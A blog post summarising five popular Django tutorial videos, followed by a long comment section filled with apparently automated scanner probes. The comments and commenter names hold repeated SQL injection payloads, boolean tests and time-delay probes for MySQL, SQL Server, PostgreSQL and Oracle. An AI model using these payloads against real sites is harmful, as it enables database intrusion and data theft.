My 5 most popular Django tutorials

My 5 most popular Django tutorials

/ #Django


I have created a lot of Django tutorials. In this post, I will write a summary of the 5 most popular.

1. Python Django Realtime Chat Project - Full Course

This video currently has around 70.000 views on YouTube. In this Python Django course, you'll master the creation of a live chat application starting from scratch. The backend will use Django, powered by the Channels package, while the frontend will employ vanilla JavaScript integrated with Web Sockets.

Django (Based on Python) provides an ideal foundation for this type of project. If you're new to Django and aspiring to craft a basic yet functional chat app, this course is tailored for you. To stylize the interface, we'll implement Tailwind CSS

2. Django Ecommerce Website with multiple vendors tutorial | Part 1 | 2022

Currently, the first part of this series has 59.000 views. In this 4 part tutorial series, you will learn a lot of the cool features from Django while you're building an e-commerce website. And not just any e-commerce website, it's a multivendor e-commerce website. This means that multiple sellers can sign up and sell their own products there.

3. Python Django Blog In Less Than 20 Minutes - Blogging website tutorial

Building a blog is one of the most basic project you can build with a framework like Django. So far, 45.000 people have seen this video.

The video isn't longer than 20 minutes, but still you will learn a lot and also see for your self how easy it is to build a blog.

4. Django And Vue Ecommerce Website Tutorial - Part 1 - Setting up

Yet another e-commerce website tutorial on my top list. With 44.000 views, you can safely say that it's popular. This Django tutorial series has 29 parts, and you will learn a lot of awesome things. Not only when it comes to Django, but you will learn basic Vue, how to integrate multiple payment solutions and more.

5. Django and Vue Todo App Tutorial (Django Rest Framework / Vue CLI)

Place number five is a todo application. The video has 38.000 views, and it shows that people are interested in the combination of Vue and Django.

The point in this video isn't that it's hard to build a todo application, but a todo application is an ideal project for learning web development.

Comments

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

-1 OR 2+722-722-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 07:36

-1 OR 2+239-239-1=0+0+0+1

EFSArCBy | Jul 02, 26 07:36

-1' OR 2+814-814-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 07:36

-1' OR 2+518-518-1=0+0+0+1 or 'CQvLU9A1'='

EFSArCBy | Jul 02, 26 07:36

-1" OR 2+440-440-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 07:36

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 02, 26 07:36

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 02, 26 07:36

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 02, 26 07:36

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 02, 26 07:36

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 07:36

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 07:36

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 07:36

555QwOaqlxq'; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 07:36

555-1 OR 717=(SELECT 717 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:36

555-1) OR 92=(SELECT 92 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:36

555-1)) OR 498=(SELECT 498 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:36

555870U6eMh' OR 941=(SELECT 941 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:36

555fimZwWPE') OR 356=(SELECT 356 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:36

555iW9F4Udv')) OR 668=(SELECT 668 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:36

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 02, 26 07:36

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555'"

EFSArCBy | Jul 02, 26 07:36

@@IdQtR

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

-1 OR 2+980-980-1=0+0+0+1 -- | Jul 02, 26 07:36

555

-1 OR 2+393-393-1=0+0+0+1 | Jul 02, 26 07:36

555

-1' OR 2+657-657-1=0+0+0+1 -- | Jul 02, 26 07:36

555

-1' OR 2+59-59-1=0+0+0+1 or 'PIGpr5nB'=' | Jul 02, 26 07:36

555

-1" OR 2+663-663-1=0+0+0+1 -- | Jul 02, 26 07:36

555

if(now()=sysdate(),sleep(15),0) | Jul 02, 26 07:36

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 07:36

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 07:36

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 07:36

555

EFSArCByNkl7GvLe'; waitfor delay '0:0:15' -- | Jul 02, 26 07:36

555

EFSArCBy5KtCxhJl' OR 370=(SELECT 370 FROM PG_SLEEP(15))-- | Jul 02, 26 07:36

555

EFSArCByWZcmP1ua') OR 484=(SELECT 484 FROM PG_SLEEP(15))-- | Jul 02, 26 07:36

555

EFSArCByzOQPA4Il')) OR 169=(SELECT 169 FROM PG_SLEEP(15))-- | Jul 02, 26 07:36

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy'" | Jul 02, 26 07:36

555

@@IHiEB | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 02, 26 07:36

555

EFSArCBy | Jul 20, 26 08:38

555

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

-1 OR 2+382-382-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 08:39

-1 OR 2+653-653-1=0+0+0+1

EFSArCBy | Jul 20, 26 08:39

-1' OR 2+844-844-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 08:39

-1' OR 2+265-265-1=0+0+0+1 or 'wSoA83oK'='

EFSArCBy | Jul 20, 26 08:39

-1" OR 2+470-470-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 08:39

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 20, 26 08:39

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 20, 26 08:39

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 20, 26 08:39

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 20, 26 08:39

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 08:39

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 08:39

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 08:39

555shn2ewL2'; waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 08:39

555-1 OR 526=(SELECT 526 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 08:39

555-1) OR 394=(SELECT 394 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 08:39

555-1)) OR 67=(SELECT 67 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 08:39

555u9Gjci4A' OR 805=(SELECT 805 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 08:39

555ExTeVFpQ') OR 450=(SELECT 450 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 08:39

555QyniutUV')) OR 38=(SELECT 38 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 08:39

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 20, 26 08:39

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555'"

EFSArCBy | Jul 20, 26 08:39

@@D4MQy

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555

-1 OR 2+793-793-1=0+0+0+1 -- | Jul 20, 26 08:39

555

-1 OR 2+413-413-1=0+0+0+1 | Jul 20, 26 08:39

555

-1' OR 2+682-682-1=0+0+0+1 -- | Jul 20, 26 08:39

555

-1' OR 2+663-663-1=0+0+0+1 or 'kfb5kLKZ'=' | Jul 20, 26 08:39

555

-1" OR 2+533-533-1=0+0+0+1 -- | Jul 20, 26 08:39

555

if(now()=sysdate(),sleep(15),0) | Jul 20, 26 08:39

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 20, 26 08:39

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 20, 26 08:39

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 20, 26 08:39

555

EFSArCByaQlodCg4'; waitfor delay '0:0:15' -- | Jul 20, 26 08:39

555

EFSArCBy0DkN0udt' OR 560=(SELECT 560 FROM PG_SLEEP(15))-- | Jul 20, 26 08:39

555

EFSArCBy3FfMbglC') OR 25=(SELECT 25 FROM PG_SLEEP(15))-- | Jul 20, 26 08:39

555

EFSArCBybiHM909T')) OR 765=(SELECT 765 FROM PG_SLEEP(15))-- | Jul 20, 26 08:39

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy'" | Jul 20, 26 08:39

555

@@QRLV1 | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 20, 26 08:39

555

EFSArCBy | Jul 23, 26 11:27

555

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

-1 OR 2+170-170-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 11:28

-1 OR 2+153-153-1=0+0+0+1

EFSArCBy | Jul 23, 26 11:28

-1' OR 2+619-619-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 11:28

-1' OR 2+892-892-1=0+0+0+1 or 'PGDjoemA'='

EFSArCBy | Jul 23, 26 11:28

-1" OR 2+642-642-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 11:28

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 23, 26 11:28

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 23, 26 11:28

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 23, 26 11:28

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 23, 26 11:28

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 11:28

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 11:28

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 11:28

555nUz88Xp3'; waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 11:28

555-1 OR 521=(SELECT 521 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 11:28

555-1) OR 510=(SELECT 510 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 11:28

555-1)) OR 395=(SELECT 395 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 11:28

555kS2wAyk3' OR 859=(SELECT 859 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 11:28

5551wOO0Jpm') OR 162=(SELECT 162 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 11:28

555OZYnTk2v')) OR 464=(SELECT 464 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 11:28

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 23, 26 11:28

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555'"

EFSArCBy | Jul 23, 26 11:28

@@KP5w1

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555

-1 OR 2+876-876-1=0+0+0+1 -- | Jul 23, 26 11:28

555

-1 OR 2+463-463-1=0+0+0+1 | Jul 23, 26 11:28

555

-1' OR 2+466-466-1=0+0+0+1 -- | Jul 23, 26 11:28

555

-1' OR 2+363-363-1=0+0+0+1 or 'cFwKIhUW'=' | Jul 23, 26 11:28

555

-1" OR 2+213-213-1=0+0+0+1 -- | Jul 23, 26 11:28

555

if(now()=sysdate(),sleep(15),0) | Jul 23, 26 11:28

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 23, 26 11:28

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 23, 26 11:28

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 23, 26 11:28

555

EFSArCByZwc7R3VS'; waitfor delay '0:0:15' -- | Jul 23, 26 11:28

555

EFSArCBydJqv3R8u' OR 91=(SELECT 91 FROM PG_SLEEP(15))-- | Jul 23, 26 11:28

555

EFSArCByr36alKJz') OR 630=(SELECT 630 FROM PG_SLEEP(15))-- | Jul 23, 26 11:28

555

EFSArCByMCyiqb66')) OR 889=(SELECT 889 FROM PG_SLEEP(15))-- | Jul 23, 26 11:28

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy'" | Jul 23, 26 11:28

555

@@9C3Mv | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555

EFSArCBy | Jul 23, 26 11:28

555

Add comment

Info

Please log in to comment!

Newsletter

Subscribe to my weekly newsletter. One time per week I will send you a short summary of the tutorials I have posted in the past week.